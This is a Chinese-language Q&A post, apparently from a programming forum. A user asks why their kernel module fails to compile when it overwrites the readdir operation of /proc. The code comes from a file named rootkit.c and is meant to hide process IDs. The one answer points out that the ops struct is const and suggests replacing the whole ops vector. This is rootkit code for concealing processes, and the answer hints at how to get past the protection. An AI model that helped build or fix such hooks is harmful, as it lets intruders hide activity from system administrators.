为什么我收到错误消息“在只读对象中分配成员'readdir'”

Question

编译此文件时，会抛出以下错误。

kit.c: In function ‘hide_pid’://rootkit.c:109:9: error: assignment of member ‘readdir’ in read-only kit.c:
In function ‘restore’ 127
error: assignment of member ‘readdir’ in read-only object

有人知道为什么吗？

int hide_pid(readdir_t *orig_readdir, readdir_t new_readdir)
{
        struct file *filep;

        /*open /proc */
        if((filep = filp_open("/proc",O_RDONLY,0))==NULL)
        {
                return -1;
        }
        /*store proc's readdir*/
        if(orig_readdir)
                *orig_readdir = filep->f_op->readdir;

        /*set proc's readdir to new_readdir*/ //ERROR IN THE LINE BELOW
        filep->f_op->readdir=new_readdir;

        filp_close(filep,0);

        return 0;
}


int restore (readdir_t orig_readdir)
{
        struct file *filep;

        /*open /proc */
if ((filep = filp_open("/proc", O_RDONLY, 0)) == NULL) {
                return -1;
        }

        /*restore /proc's readdir*/ //ERROR BELOW
        filep->f_op->readdir = orig_readdir;

        filp_close(filep, 0);

        return 0;
}

Answer 1

定义ops向量的结构（f_op）可能在readdir字段的定义中使用const - 也可能是所有其他字段。设置一个自己的ops向量比替换现有ops向量中的一个或两个方法更为正常。